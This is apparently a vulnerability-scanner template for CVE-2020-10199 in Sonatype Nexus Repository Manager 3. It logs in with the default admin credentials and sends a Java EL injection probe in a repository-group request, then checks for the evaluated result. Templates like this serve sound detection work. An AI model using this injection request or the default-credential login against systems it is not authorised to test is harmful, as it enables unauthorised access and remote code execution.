id: CVE-2020-10199

info:
  name: Sonatype Nexus Repository Manager 3 - Remote Code Execution
  author: rootxharsh,iamnoooob,pdresearch
  severity: high
  description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Sonatype Nexus Repository Manager 3.
  reference:
    - https://twitter.com/iamnoooob/status/1246182773427240967
    - https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10199
    - http://packetstormsecurity.com/files/157261/Nexus-Repository-Manager-3.21.1-01-Remote-Code-Execution.html
    - https://cwe.mitre.org/data/definitions/917.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-10199
    cwe-id: CWE-917
    epss-score: 0.97217
    epss-percentile: 0.99742
    cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: sonatype
    product: nexus
  tags: cve,cve2020,sonatype,nexus,rce,kev
variables:
  username: admin
  password: admin123

http:
  - raw:
      - |
        POST /service/rapture/session HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username={{base64(username)}}&password={{base64(password)}}
      - |
        POST /service/rest/beta/repositories/bower/group HTTP/1.1
        Host: {{Hostname}}
        NX-ANTI-CSRF-TOKEN: 1
        Cookie: NX-ANTI-CSRF-TOKEN=1
        Content-Type: application/json

        {"name": "internal", "online": "true", "storage": {"blobStoreName": "default", "strictContentTypeValidation": "true"}, "group": {"memberNames": ["$\\A{3*3333}"]}}

    cookie-reuse: true
    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Member repository does not exist: A9999"

      - type: status
        status:
          - 400